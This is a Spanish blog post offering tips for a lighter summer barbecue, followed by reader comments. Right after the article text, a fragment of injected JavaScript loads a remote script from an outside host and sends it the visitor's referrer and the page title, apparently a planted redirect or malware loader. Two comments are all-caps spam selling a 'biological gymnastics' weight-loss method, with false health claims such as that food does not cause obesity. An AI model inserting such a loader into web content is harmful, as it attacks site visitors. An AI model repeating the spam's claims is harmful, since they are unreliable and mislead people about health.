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¿Cómo comer una barbacoa y no engordar?

5 Comentarios

barbacoa-sanaEn verano siempre nos gusta tomar cosas fresquitas, ligeras y saludables: ensaladas, gazpachos, fruta de temporada… sin embargo, también son frecuentes las fiestas o las comidas en el jardín y entonces lo que más nos apetece es una buena barbacoa, y ahí es donde está el problema.

Es una costumbre social habitual en verano, una excusa para pasar un día en familia o con amigos y, claro está, no te puedes resistir a un exquisito trozo de carne a la parrilla. No es que sea malo comer barbacoa, el problema es que siempre comemos más de lo que podemos y acabamos pagándolo. Por eso te proponemos algunas ideas para preparar una barbacoa ligera pero deliciosa y que así consigas mantener la línea o no sentir la pesadez después de comer.

Las ensaladas son el acompañante ideal, son muy sanas y reducen el hambre antes de que empecemos con la barbacoa. También acompañan muy bien porque son refrescantes.

Además, podemos probar a poner en la barbacoa pescados y mariscos. Sabemos que como los chorizos no hay nada, pero cuando pruebes unas cigalas o sardinas a la barbacoa exquisitas y sin tantas grasas como la carne.

barbacoa-gambasTambién podemos usar de acompañante en la parrilla unas buenas verduras. Si lo añadimos a la carne, además de saciarnos antes le dará un sabor muy bueno y serán más jugosas. Al sazonar la carne podemos pensar también en hacer salsas o aliños caseros que engorden menos y mojar pan (que no engorda tanto).

Por último, al pensar en la bebida deberíamos sustituir las gaseosas por limonadas naturales, tés fríos, agua… son ideales para el veranito y no engordan. Refrescan y no sientan tan pesadas como el gas.

Ya no tienes excusa para no hacer una barbacoa con los tuyos y disfrutar del verano.

¿Qué sueles poner en la barbacoa?document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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5 Comments »

  • Auro said:

    Qué buena idea! buen post. Lo probaré el finde que viene que tengo aquí a unos amigos. Gracias

  • Curro said:

    Yo cuando hago barbacoa le echo pimientitos rojos y verdes, cebolla, espárragos… queda súper rico y entra la comida mucho mejor. :)

  • LUIS MANUEL MORI AYULO said:

    SALUDOS.

    SOY LUIS MANUEL MORI AYULO, INVESTIGADOR DE LA OBESIDAD CON 38 AÑOS DE EXPERIENCIA.

    PARA ACABAR CON SU PROBLEMA DE OBESIDAD TIENE QUE CAMBIAR SU BIOLOGIA Y SU METABOLISMO BASAL

    POR PRIMERA VEZ SE PRESENTA UN METODO EN QUE LA PROPIA PERSONA AFECTADA SE BAJA DE PESO SOLA; ¡ NADA NI NADIE LE AYUDA !

    ELLA SE ENGORDO, ELLA SOLA SE BAJA

    DURANTE MI INVESTIGACION CONFIRME QUE CUANDO SE UTILIZA UN TRATAMIENTO DESDE AFUERA HACIA EL INTERIOR DEL CUERPO NO FUNCIONA LA REDUCCION DE PESO; PERO CUANDO SE TRATA LA OBESIDAD DESDE ADENTRO HACIA AFUERA DEL CUERPO LOS RESULTADOS SON SORPRENDENTES

    ES DECIR, NO NECESITA NI EN SU CUERPO ACTUA NINGUN AGENTE EXTERNO CONVENCIONAL, POR ESO LA EFECTIVIDAD DE LA GIMNASIA BIOLOGICA

    EL FIN DE LA OBESIDAD ESTA EN QUE EL CUERPO MISMO LA SOLUCIONE, POR ESO LA RUTINA DE EJERCICIOS BIOLOGICOS ACOMPAÑADOS DE UNA RESPIRACION ESPECIAL HARAN QUE SUS CUERPOS DE LAS PERSONAS OBESAS CREEN SUS PROPIOS MECANISMOS PARA FOMENTAR Y MANTENER SU DELGADEZ

    ASI LO DIGA LA CIENCIA NO SON LOS ALIMENTOS LOS CULPABLES DEL SOBREPESO.

    ¿ PORQUE NO ENGORDA LA PERSONA DELGADA QUE COME Y TIENE LOS MISMOS HABITOS FISICOS QUE LAS OBESAS ?
    LA UNICA RESPUESTA Y QUE EN VERDAD HASTA AHORA NO LA ESCUCHO SERIA QUE LA FLACA NO ASIMILA LOS ALIMENTOS QUE POR ESO NO ENGORDA; PERFECTA LA RESPUESTA, ENTONCES EL OBESO SI ASIMILA LOS ALIMENTOS Y NO ES QUE LA COMIDA LO ENGORDA SON DOS FACTORES DIFERENTES Y MUY ALEJADOS UNO DE OTRO

    SI FUERA CIERTO QUE LOS ALIMENTOS HACEN ENGORDAR ENTONCES QUE LAS DELGADAS SE CUIDEN PARA QUE NO SUBAN; PERO LAS QUE YA LO ESTAN QUIEREN LA SOLUCION ¿ QUE DEBEN HACER PARA RETIRAR TODA ESA GRASA EN SOBREPESO, QUE TIENEN EN SU CUERPO, O NO ?

    EN LAS INVESTIGACIONES CONVENCIONALES EN TODO EL MUNDO BASTO SOLO EL HECHO QUE VIERON A UNA PERSONA OBESA COMIENDO PRODUCTOS McDONALD·S, CIERTAS FRUTAS Y ALIMENTOS ,PASTELES, PIZZAS, DULCES, GRASAS, HARINAS, BEBIENDO COCA COLA , ETC, PARA DECIR QUE ESOS ALIMENTOS LA ENGORDARON; CUANDO ESA PERSONA YA ESTABA GORDA CUANDO LA OBSERVARON Y LO ESTABA DESDE HACIA AÑOS ATRAS

    CON QUE SEGURIDAD AFIRMAN QUE EL SEDENTARISMO, LAS GASEOSAS Y UNA INFINIDAD DE ALIMENTOS PRODUCEN OBESIDAD SI JAMAS LAS INVESTIGACIONES EMPEZARON CON UNA PERSONA DELGADA , SE SUPONE QUE DEBIERON HACER SEGUIMIENTO A LA DELGADA Y VER QUE COMA TODO ESO QUE DICEN ENGORDA ( COCA COLA Y McDONALD·S ) Y LUEGO CUANDO YA ESTE BIEN SUBIDA DE PESO RECIEN DECIR , ESTOS Y TALES ALIMENTOS LA VOLVIERON OBESA A LA DELGADA.
    PERO JAMAS SE HA REALIZADO ESE TIPO DE INVESTIGACION; REPITO, BASTO CON VIERAN QUE COMIA EL ACTUAL OBESO U OBESA PARA DECIR QUE ESO ENGORDA, CUANDO LAS FLACAS TIENEN LOS MISMOS HABITOS FISICOS Y COMEN LO MISMO Y EN MAYOR CANTIDAD QUE LAS OBESAS Y NO SUBEN NI UN GRAMO

    TODOS LOS QUE EN ESTOS ULTIMOS 50 AÑOS AFIRMAN QUE TALES ALIMENTOS HACEN SUBIR DE PESO, SE OLVIDARON DE PREGUNTARLE A LAS FLACAS SI COMIAN ESOS ALIMENTOS O BEBIAN TALES GASEOSAS.

    LLEGO EL MOMENTO DE TERMINAR DE CULPAR A DIOS QUE TALES ALIMENTOS QUE EL CREO HACEN ENGORDAR .

    http://youtu.be/e3NQYT0x-uo

    LA SOLUCION DE LA OBESIDAD ES QUE HAY CAMBIARLE LA FORMA DE ASIMILAR ( EL METABOLISMO BASAL LENTO ) AL OBESO PARA QUE YA NO ASIMILE LO QUE COME; PARALELAMENTE LA GIMNASIA BIOLOGICA Y LA RESPIRACION ESPECIAL MANIPULARAN A SU SANGRE PARA QUE SEA ELLA QUIEN RETIRE LA GRASA DE SUS CAPAS ADIPOSAS Y LA TRANSPORTE HACIA EL HIGADO QUIEN LA METABOLIZARA EN LIQUIDO Y ENERGIA, SIENDO FINALMENTE EXPULSADA HACIA EL EXTERIOR A TRAVES DE LA ORINA .

    COMO LO INFORMO EN INTERNET, SOY EL UNICO QUE ENVIA LOS 3 DVDs CONTENIENDO 6 RUTINAS QUE FORMAN LA GIMNASIA BIOLOGICA AÑO 2013 A CUALQUIER PAIS DEL MUNDO O LOS VIDEOS CON LAS MISMAS RUTINAS DE LA GIMNASIA BIOLOGICA SUBIDOS EN UNA CUENTA SECRETA EN YOUTUBE , ENVIADOS INSTANTANEAMENTE A SU CORREO ELECTRONICO VIA YOUTUBE

    directo en Google: GIMNASIA BIOLOGICA no escribir www. ni .com

    CELULAR EN LIMA PERU: 0051 998050871

    e-mail: gimnasiabiologica@hotmail.com

    e-mail: gimnasiabiologica@gmail.com

    SIN MAS QUE EL DESEO DE SERVIRLES ME DESPIDO

    atte: LUIS MANUEL MORI AYULO CREADOR DE LA GIMNASIA BIOLOGICA

  • LUIS MANUEL MORI AYULO said:

    SALUDOS

    2 OPCIONES PARA ACCEDER A LA GIMNASIA BIOLOGICA DE LUIS MORI AÑO 2013 :

    LA PRIMERA OPCION:

    EL ENVIO A SU DOMICILIOS EN CUALQUIER PAIS DE LOS 3 DVDs QUE CONTIENEN 6 RUTINAS QUE FORMAN LA GIMNASIA BIOLOGICA AÑO 2013

    LES RECOMIENDO QUE LOS VIDEOS CON LAS RUTINAS QUE FORMAN LA GIMNASIA BIOLOGICA DE LUIS MORI AÑO 2013 LOS COMPREN EN SOCIEDAD CON UN GRUPO DE SUS AMIGAS Y AMIGOS QUE TAMBIEN QUIERAN BAJAR DE PESO ( A LOS 3 DVDs PUEDEN SACARLES COPIAS O REPRODUCIRLOS Y SE LOS REPARTEN )

    LOS 3 DVD SE LOS ENVIARE A SU DOMICILIOS A TRAVES DE UNA DE LAS AGENCIAS DE SERVICIOS POSTALES DHL EXPRESS, SERPOST O FEDEX EXPRESS

    LA SEGUNDA OPCION:

    EL ENVIO INSTANTANEO A SU ( UNO, 1 ) CORREO ELECTRONICO VIA-YOUTUBE DE LOS VIDEOS CON LAS RUTINAS SUBIDAS EN UNA DE MIS CUENTAS SECRETAS EN YOUTUBE Y QUE FORMAN LA GIMNASIA BIOLOGICA AÑO 2013

    LOS VIDEOS PARA ENVIAR POR YOUTUBE CONTIENEN LA MISMA GIMNASIA BIOLOGICA AÑO 2013 E INDICACIONES QUE EN LOS 3 DVDs

    PODRAN Y DEBERAN BAJAR O DESCARGAR ESTOS VIDEOS A SU COMPUTADORA COM SE BAJA CUALQUIER VIDEO DE YOUTUBE; DE ALLI A SU CUENTA EN YOUTUBE O A UN CD PARA QUE QUEDEN DE SU PROPIEDAD; SI LO DESEARAN LE SACAN COPIAS AL CD Y LOS REPARTEN

    e-mail: gimnasiabiologica@gmail.com

    atte: LUIS MANUEL MORI AYULO CREADOR DE LA GIMNASIA BIOLOGICA

  • barbacoas said:

    Yo tengo una barbacoa weber en casa y siempre que hacemos una comida con ella preparamos muchas verduras y setas para acompañar. Es genial! Y en verano también ponemos algo de ensalada, gazpacho… que es muy ligero y combina perfecto con la carne!
    Laura

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